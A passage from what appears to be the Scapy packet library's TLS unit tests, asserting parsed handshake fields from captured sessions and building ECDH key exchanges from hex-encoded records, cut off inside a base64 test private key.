ext[2].groups == [0x17, 0x18, 0x19] assert isinstance(ext[3], TLS_Ext_SupportedPointFormat) assert ext[3].ecpl == [0] assert isinstance(ext[4], TLS_Ext_SessionTicket) assert not ext[4].ticket assert isinstance(ext[5], TLS_Ext_NPN) assert ext[5].protocols == [] assert isinstance(ext[6], TLS_Ext_ALPN) assert len(ext[6].protocols) == 6 assert ext[6].protocols[-1].protocol == b"http/1.1" assert isinstance(ext[7], TLS_Ext_CSR) assert isinstance(ext[7].req[0], OCSPStatusRequest) assert isinstance(ext[8], TLS_Ext_SignatureAlgorithms) assert len(ext[8].sig_algs) == 10 ext[8].sig_algs[-1] == 0x0202 = Reading TLS test session - ServerHello from scapy.layers.tls.handshake import TLSServerHello assert TLSServerHello in t2 sh = t2.msg[0] assert isinstance(sh, TLSServerHello) assert sh.gmt_unix_time == 0x46076ee2 assert sh.random_bytes == b'\x0c\x97g\xb7o\xb6\x9b\x14\x19\xbd\xdd1\x80@\xaaQ+\xc2,\x19\x15"\x82\xe8\xc5,\xe8\x12' assert sh.cipher == 0xc02f assert len(sh.ext) == 6 sh.ext[-1].protocols[-1].protocol == b"http/1.1" = Reading TLS test session - Certificate from scapy.layers.tls.cert import Cert cert = t3.msg[0] assert cert.certslen == 2670 assert len(cert.certs) == 2 srv_cert = cert.certs[0][1] assert isinstance(srv_cert, Cert) assert srv_cert.serial == 0x077a5dc3362301f989fe54f7f86f3e64 srv_cert.subject['commonName'] == 'www.github.com' = Reading TLS test session - Multiple TLS layers cert_stat = t4.msg[0] ske = t4.payload.msg[0] shd = t4.payload.payload.msg[0] isinstance(t4.payload.payload.payload, NoPayload) = Reading TLS test session - CertificateStatus from scapy.layers.tls.handshake import TLSCertificateStatus assert isinstance(cert_stat, TLSCertificateStatus) assert cert_stat.responselen == 471 cert_stat.response[0].responseStatus == 0 # we leave the remaining OCSP tests to x509.uts = Reading TLS test session - ServerKeyExchange from scapy.layers.tls.handshake import TLSServerKeyExchange from scapy.layers.tls.keyexchange import ServerECDHNamedCurveParams assert isinstance(ske, TLSServerKeyExchange) p = ske.params assert isinstance(p, ServerECDHNamedCurveParams) assert p.named_curve == 0x0017 assert orb(p.point[0]) == 4 and p.point[1:5] == b'\xc3\x9d\x1cD' and p.point[-4:] == b'X\x19\x03u' assert ske.sig.sig_alg == 0x0601 ske.sig.sig_val[:4] == b'y\x8aQ\x11' and ske.sig.sig_val[-4:] == b'`15\xef' = Reading TLS test session - ServerHelloDone from scapy.layers.tls.handshake import TLSServerHelloDone assert isinstance(shd, TLSServerHelloDone) shd.msglen == 0 = Reading TLS test session - Context checks after 1st RTT t = shd.tls_session assert len(t.handshake_messages) == 6 assert t.handshake_messages_parsed[-1] is shd assert t.tls_version == 0x0303 assert t.client_kx_ffdh_params is None assert t.client_kx_ecdh_params is not None pn = t.server_kx_pubkey.public_numbers() x = pkcs_i2osp(pn.x, pn.curve.key_size/8) y = pkcs_i2osp(pn.y, pn.curve.key_size/8) assert x[:4] == b'\xc3\x9d\x1cD' and y[-4:] == b'X\x19\x03u' assert t.rcs.row == "read" assert t.wcs.row == "write" t.rcs.ciphersuite.val == 0 = Reading TLS test session - TLS parsing (with encryption) does not throw any error # XXX Something should be done, as for instance the reading of the 1st CCS # will mess up the reading state of the other side (even before the 2nd CCS). t5 = TLS(p5_cke_ccs_fin, tls_session=t4.tls_session.mirror()) = Reading TLS test session - ClientKeyExchange from scapy.layers.tls.handshake import TLSClientKeyExchange from scapy.layers.tls.keyexchange import ClientECDiffieHellmanPublic cke = t5.msg[0] ccs = t5.payload.msg[0] rec_fin = t5.payload.payload fin = t5.payload.payload.msg[0] isinstance(t5.payload.payload.payload, NoPayload) assert isinstance(cke, TLSClientKeyExchange) k = cke.exchkeys assert isinstance(k, ClientECDiffieHellmanPublic) assert k.ecdh_Yclen == 65 assert k.ecdh_Yc[:4] == b'\x04\xd2\x07\xce' and k.ecdh_Yc[-4:] == b'\xdc\x86[\xe7' = Reading TLS test session - ChangeCipherSpec from scapy.layers.tls.record import TLSChangeCipherSpec assert isinstance(ccs, TLSChangeCipherSpec) ccs.msgtype == 1 = Reading TLS test session - Finished assert rec_fin.version == 0x0303 assert rec_fin.deciphered_len == 16 assert rec_fin.len == 40 assert rec_fin.iv == b'\x00\x00\x00\x00\x00\x00\x00\x00' assert rec_fin.mac == b'\xc7^\xc1\x8e\x81M\xff\x00\x0f}G\xf2\x8c\xab\n=' assert not rec_fin.pad and not rec_fin.padlen from scapy.layers.tls.record import _TLSEncryptedContent assert isinstance(fin, _TLSEncryptedContent) fin.load == b'\xd9\xcb,\x8cM\xfd\xbc9\xaa\x05\xf3\xd3\xf3Z\x8a-' = Reading TLS test session - Ticket, CCS & Finished ~ libressl from scapy.layers.tls.handshake import TLSNewSessionTicket t6 = TLS(p6_tick_ccs_fin, tls_session=t5.tls_session.mirror()) tick = t6.msg[0] assert isinstance(tick, TLSNewSessionTicket) assert tick.msgtype == 4 assert tick.lifetime == 1200 assert tick.ticketlen == 192 assert tick.ticket[:4] == b'c\xccwJ' and tick.ticket[-4:] == b'\xf3.\xcf\x04' ccs = t6.payload.msg[0] assert isinstance(ccs, TLSChangeCipherSpec) rec_fin = t6.getlayer(4) assert rec_fin.iv == b'\xd8m\x92\t5YZ:' assert rec_fin.mac == b'\xecguD\xa8\x87$<7+\n\x94\x1e9\x96\xfa' assert isinstance(rec_fin.msg[0], _TLSEncryptedContent) rec_fin.msg[0].load == b'7\\)`\xaa`\x7ff\xcd\x10\xa9v\xa3*\x17\x1a' = Building x25519 ecdh_Yc ~ libressl from scapy.layers.tls.record import TLS from scapy.layers.tls.handshake import TLSClientKeyExchange cli_hello = bytes.fromhex('160303008f0100008b0303000027104268d53e923ce05aa04cb21b8fe33aed93266c00bd1f13ea6a6dad24000018c02cc02bc030c02fc024c023c028c027c00ac009c014c0130100004a00000013001100000e7777772e676f6f676c652e636f6d000500050100000000000a00080006001d00170018000b00020100000d00140012040105010201040305030203020206010603') ser_hello = bytes.fromhex('16030300520200004e03035f9b52e4206fdc2410d1d482905c9b45a204641d9d856afb444f574e4752440120c4d1479e11a26edf0dbcb07e7a5f7d41c3d7b500015ff8c1ceed473bf457b193c02b000006000b0002010016030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d205232311330110603') ser_cert = bytes.fromhex('16030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3137303631353030303034325a170d3231313231353030303034325a3042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f3130820122300d06092a864886f70d01010105000382010f003082010a0282010100d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac070203010001a38201333082012f300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100301d0603551d0e0416041498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b301f0603551d230418301680149be20757671c1ec06a06de59b49a2ddfdc19862e303506082b0601050507010104293027302506082b060105050730018619687474703a2f2f6f6373702e706b692e676f6f672f6773723230320603551d1f042b30293027a025a0238621687474703a2f2f63726c2e706b692e676f6f672f677372322f677372322e63726c303f0603551d20043830363034060667810c010202302a302806082b06010505070201161c68747470733a2f2f706b692e676f6f672f7265706f7369746f72792f300d06092a864886f70d01010b050003820101001a803e3679fbf32ea946377d5e541635aec74e0899febdd13469265266073d0aba49cb62f4f11a8efc114f68964c742bd367deb2a3aa058d844d4c20650fa596da0d16f86c3bdb6f0423886b3a6cc160bd689f718eee2d583407f0d554e98659fd7b5e0d2194f58cc9a8f8d8f2adcc0f1af39aa7a90427f9a3c9b0ff02786b61bac7352be856fa4fc31c0cedb63cb44beaedcce13cecdc0d8cd63e9bca42588bcc16211740bca2d666efdac4155bcd89aa9b0926e732d20d6e6720025b10b090099c0c1f9eadd83beaa1fc6ce8105c085219512a71bbac7ab5dd15ed2bc9082a2c8ab4a621ab63ffd7524950d089b7adf2affb50ae2fe1950df346ad9d9cf5ca') r1 = TLS(cli_hello) r2 = TLS(ser_hello, tls_session=r1.tls_session.mirror()) r3 = TLS(ser_cert, tls_session=r2.tls_session) s = r3.tls_session.mirror() s.client_kx_ecdh_params = 29 pkt = TLSClientKeyExchange(tls_session=s) bytes(pkt) pkt.exchkeys.fill_missing() assert len(pkt.exchkeys.ecdh_Yc) == 32 = Building secp521r1 ecdh_Yc ~ libressl from scapy.layers.tls.record import TLS from scapy.layers.tls.handshake import TLSClientKeyExchange cli_hello = bytes.fromhex('160303008f0100008b0303000027104268d53e923ce05aa04cb21b8fe33aed93266c00bd1f13ea6a6dad24000018c02cc02bc030c02fc024c023c028c027c00ac009c014c0130100004a00000013001100000e7777772e676f6f676c652e636f6d000500050100000000000a00080006001d00170019000b00020100000d00140012040105010201040305030203020206010603') ser_hello = bytes.fromhex('16030300520200004e03035f9b52e4206fdc2410d1d482905c9b45a204641d9d856afb444f574e4752440120c4d1479e11a26edf0dbcb07e7a5f7d41c3d7b500015ff8c1ceed473bf457b193c02b000006000b0002010016030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d205232311330110603') ser_cert = bytes.fromhex('16030309270b0009230009200004cc308204c8308203b0a003020102021100b2fe3f66ac447c9f02000000007d9a03300d06092a864886f70d01010b05003042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f31301e170d3230313030363036343132305a170d3230313232393036343132305a3068310b3009060355040613025553311330110603550408130a43616c69666f726e6961311630140603550407130d4d6f756e7461696e205669657731133011060355040a130a476f6f676c65204c4c43311730150603550403130e7777772e676f6f676c652e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200046a7c4a9d35904b2b1b3f7c7326ff2adfb1bcb273b2a1a02003978dd1df8cecce5094e2309201fcd2294270ef359f4bdea177665d9e7321586682392ccc93ac89a382025c30820258300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070301300c0603551d130101ff04023000301d0603551d0e041604145d7ced1d850e92337bf7a0602ae3dd70668b895b301f0603551d2304183016801498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b306806082b06010505070101045c305a302b06082b06010505073001861f687474703a2f2f6f6373702e706b692e676f6f672f677473316f31636f7265302b06082b06010505073002861f687474703a2f2f706b692e676f6f672f677372322f475453314f312e63727430190603551d1104123010820e7777772e676f6f676c652e636f6d30210603551d20041a30183008060667810c010202300c060a2b06010401d67902050330330603551d1f042c302a3028a026a0248622687474703a2f2f63726c2e706b692e676f6f672f475453314f31636f72652e63726c30820104060a2b06010401d6790204020481f50481f200f0007600b21e05cc8ba2cd8a204e8766f92bb98a2520676bdafa70e7b249532def8b905e00000174fcdb8af4000004030047304502207610c2e9b008b8ebf2f27a1e65631b8ae7534294c60f55a4c78c9e4927f56a23022100b61c72d94468cd6b4e376ea5d2ba7a6605a765c575f6a536b819a2d8031be4f7007600e712f2b0377e1a62fb8ec90c6184f1ea7b37cb561d11265bf3e0f34bf241546e00000174fcdb8af7000004030047304502204aae6373290fd01ad53e8ff9d6ef4f21d0badc0e65fef15c52c8f6af9468e12f022100c77dff6b266313b172ef8815beff3032d6058129baaa767361fe95e2c541ad81300d06092a864886f70d01010b05000382010100657bfcc7fd99ffed6f032bb056dc7712ec3ea437cf17750db8527ae0dcdd630f3ec4b2b95b7d482cc3a94082351117e45362319a842556954160d34c9019cc3cd312073ce540d031c4bf197b924a139b0e91bffc168a80c1641834445c509d6edf2daf8a247b72104b184968ef25cc260c75b28f470fc355477ac403da12701556e6e7550a38346f444238a154f1efb1a1a297eff39e35d76bc285599d19b0bd475d6f1daba94f1365dbc930041a79ca2df1bb724d53e4fb8831b8dc486522ee7d8eee0e1fea658352736fe949fcb233c08a3b9e14abc56a5556f9b469925cb5916ed058a4cf332c4c13a75ca83850773f9182ad95fadff51203c08e684df63b00044e3082044a30820332a003020102020d01e3b49aa18d8aa981256950b8300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523231133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3137303631353030303034325a170d3231313231353030303034325a3042310b3009060355040613025553311e301c060355040a1315476f6f676c65205472757374205365727669636573311330110603550403130a47545320434120314f3130820122300d06092a864886f70d01010105000382010f003082010a0282010100d018cf45d48bcdd39ce440ef7eb4dd69211bc9cf3c8e4c75b90f3119843d9e3c29ef500d10936f0580809f2aa0bd124b02e13d9f581624fe309f0b747755931d4bf74de1928210f651ac0cc3b222940f346b981049e70b9d8339dd20c61c2defd1186165e7238320a82312ffd2247fd42fe7446a5b4dd75066b0af9e426305fbe01cc46361af9f6a33ff6297bd48d9d37c1467dc75dc2e69e8f86d7869d0b71005b8f131c23b24fd1a3374f823e0ec6b198a16c6e3cda4cd0bdbb3a4596038883bad1db9c68ca7531bfcbcd9a4abbcdd3c61d7931598ee81bd8fe264472040064ed7ac97e8b9c05912a1492523e4ed70342ca5b4637cf9a33d83d1cd6d24ac070203010001a38201333082012f300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b0601050507030230120603551d130101ff040830060101ff020100301d0603551d0e0416041498d1f86e10ebcf9bec609f18901ba0eb7d09fd2b301f0603551d230418301680149be20757671c1ec06a06de59b49a2ddfdc19862e303506082b0601050507010104293027302506082b060105050730018619687474703a2f2f6f6373702e706b692e676f6f672f6773723230320603551d1f042b30293027a025a0238621687474703a2f2f63726c2e706b692e676f6f672f677372322f677372322e63726c303f0603551d20043830363034060667810c010202302a302806082b06010505070201161c68747470733a2f2f706b692e676f6f672f7265706f7369746f72792f300d06092a864886f70d01010b050003820101001a803e3679fbf32ea946377d5e541635aec74e0899febdd13469265266073d0aba49cb62f4f11a8efc114f68964c742bd367deb2a3aa058d844d4c20650fa596da0d16f86c3bdb6f0423886b3a6cc160bd689f718eee2d583407f0d554e98659fd7b5e0d2194f58cc9a8f8d8f2adcc0f1af39aa7a90427f9a3c9b0ff02786b61bac7352be856fa4fc31c0cedb63cb44beaedcce13cecdc0d8cd63e9bca42588bcc16211740bca2d666efdac4155bcd89aa9b0926e732d20d6e6720025b10b090099c0c1f9eadd83beaa1fc6ce8105c085219512a71bbac7ab5dd15ed2bc9082a2c8ab4a621ab63ffd7524950d089b7adf2affb50ae2fe1950df346ad9d9cf5ca') r1 = TLS(cli_hello) r2 = TLS(ser_hello, tls_session=r1.tls_session.mirror()) r3 = TLS(ser_cert, tls_session=r2.tls_session) s = r3.tls_session.mirror() s.client_kx_ecdh_params = 25 pkt = TLSClientKeyExchange(tls_session=s) bytes(pkt) pkt.exchkeys.fill_missing() assert len(pkt.exchkeys.ecdh_Yc) == 133 # len(b'\x04') + ceil(521/8) * 2 = Reading TLS test session - Extended master secret ~ libressl # See https://github.com/secdev/scapy/issues/2784 from scapy.layers.tls.cert import PrivKey from scapy.layers.tls.handshake import TLSFinished from scapy.layers.tls.record import TLS chello_extms = bytes.fromhex('1603010200010001fc0303f8b3dbcb70ed3804009c15af4a4298720619b70d1ad4f24d0e99de9e93ce3c3b201c3b2cf3266bcba19b29479ec66fe815f7db0a6b976111f70958395e7aeebaba003e130213031301c02cc030009fcca9cca8ccaac02bc02f009ec024c028006bc023c0270067c00ac0140039c009c0130033009d009c003d003c0035002f00ff01000175000b000403000102000a000c000a001d0017001e00190018337400000010000e000c02683208687474702f312e31001600000017000000310000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602002b00050403040303002d00020101003300260024001d0020e8410f5ab09d96b05f10183ccd9e93a057a73290b4c9e1c254cdfc299fc01d41001500d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') shello_extms = bytes.fromhex('160303005502000051030320a54032477ea3a963b8a700090459f11f1f4ad1896e1d75745b7e2bdc51dde0200600f552db6c51b97a309717ff847bb6e8fef1ce2601544413fda7b66075b887009d000009ff0100010000170000160303036e0b00036a0003670003643082036030820248a003020102020900eb73b71c3e2f9fdc300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3139303231353135313430335a170d3239303231323135313430335a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c746430820122300d06092a864886f70d01010105000382010f003082010a0282010100d2f7d36b233a5619368fc3a7db0f2364dc71986dd4eebcbee85b783e139cfeb0a80de50147c936aa84230e2fa2eb91ef1737410387b932440ac7cfda3c5966eef88f688bcbee6a5d0dfaa075b77dfe836f2cb318375ff5be2b35f6d62dd7c4b147224f67d53d95c7fcc11cda7bc622369b4d4a685655169fb28f66e511724f0c9af2f74ea4cdf09b92f917246a582f67fade3eff7eca2c794d713c13f80cd53f847aa196d0adc04494790a628e327f4b53d05b83025c3ea541195f953ce6fc37edcc68a8fd6eca621f38bc08bc2d8d72cfcdf85c68f9f4f4485b32133c63299f85ffd62bde5a9d585e5a896f08319448277f19e86d5d6878bc53768b2ef9b3210203010001a3533051301d0603551d0e041604148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35301f0603551d230418301680148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35300f0603551d130101ff040530030101ff300d06092a864886f70d01010b050003820101003c001f0f5d106072e0beedfa47895329d4623422080e66caa4beb4c3d9b6868fa107467d6160e512ede7cbbefdeb17c09b9f594f86f1a9922c982ccf9655d4d67eda061f667eeb25fe7203bea00e40f150a490a78ca963d87c185ade8b7c294f5052fb1e1edb3403831e33e4026c8e56717cb77bc32321858be37a77fe7f5511ef8c2013c86e2730c5b2366875131cae0c7616fdc7c8605696133e7a685f20203c0db8e0ff1d1a5991d2f058f48f20b10a5fb0df27a1f9874cc0fe8d6ebf77e9a7ba38490e9d63241a0fb3fd7701ff3b130c9aa7aa77770280b7003c1bb5e0784c34aacb74ce8114960e50eee04602a7ab20e5c878028e4292e90e40fd631fee16030300040e000000') finished_extms = bytes.fromhex('160303010610000102010007534dd8642e57edd33d156d8002f70562864c1dfe5d721763e8e4ef2c03fb14b4e4eac1864c41fcce57367f95798f04954ef957deb934536b0ac39a72c14f772d0f64b7cc0d8260e2019748fc65fd6f382da6d4f873afe6fc1fa17e786cf6c72b6a46950d2030c7b42ed10f2c4dba37282001132ddb151a44f6face6b049338217784cf2a5ac6a054a2a1d205fb7657d7affa14113c43314b54b28164423455174f57eb50f6eea0836ba1c68616db720641bf18f0cdf7bb729c9cc0b4cfeee8aeed94e00573210eb5328cbcca4ccb1aa29a910c5b5f2c96cf3a431e9677980400d574244ff6bfdabf36ba9dda84703f5760d607e4b731d4f1dc16372b0feac11403030001011603030028269118aa98b35c71e35034f35c23c78d55c04662cdb71c11b1ef862e3b4ebf8ace2aff053257bb08') key = base64.b64decode(b'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2UUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktjd2dnU2pBZ0VBQW9JQkFRRFM5OU5ySXpwV0dUYVAKdzZmYkR5TmszSEdZYmRUdXZMN29XM2crRTV6K3NLZ041UUZIeVRhcWhDTU9MNkxya2U4WE4wRURoN2t5UkFySAp6OW84V1didStJOW9pOHZ1YWwwTitxQjF0MzMrZzI4c3N4ZzNYL1crS3pYMjFpM1h4TEZISWs5bjFUMlZ4L3pCCkhOcDd4aUkybTAxS2FGWlZGcCt5ajJibEVYSlBESnJ5OTA2a3pmQ2JrdmtYSkdwWUwyZjYzajcvZnNvc2VVMXgKUEJQNEROVS9oSHFobHRDdHdFU1VlUXBpampKL1MxUFFXNE1DWEQ2bFFSbGZsVHptL0RmdHpHaW8vVzdLWWg4NAp2QWk4TFkxeXo4MzRYR2o1OVBSSVd6SVRQR01wbjRYLzFpdmVXcDFZWGxxSmJ3Z3hsRWduZnhub2JWMW9lTHhUCmRvc3UrYk1oQWdNQkFBRUNnZ0VBSGQ5NTBISHNrTVNCTlZvL0tvVzZQVTM1eDl2Rml3aXUvN2YwRHRZNEpOaGUKODVpNTFiQm9UVHpvdWRtRStGWnh4SmZPWFBHYkI4TWF3N0JxOXFDeU1xUi9xZzRoa21EOVREMXcrenBBWFFtLwpkRlRuMk85OW5MQUJ0RElmeTYzT2JJUXZPa1MzczczZHpIcUpkWDFZMnVLaXp5WjNFeFZoQjZmR3Fpa09ScU1BCmNYbjJSRzN1UXFNWk4yUkVUK1hFYWdsa1dkbGphVTdaTC9CbklRT2xGS0h2ZzVSeGFwWGpJbTM2NnFUVStreGEKWDJFZnllOUJycWxWK0o4cnYzO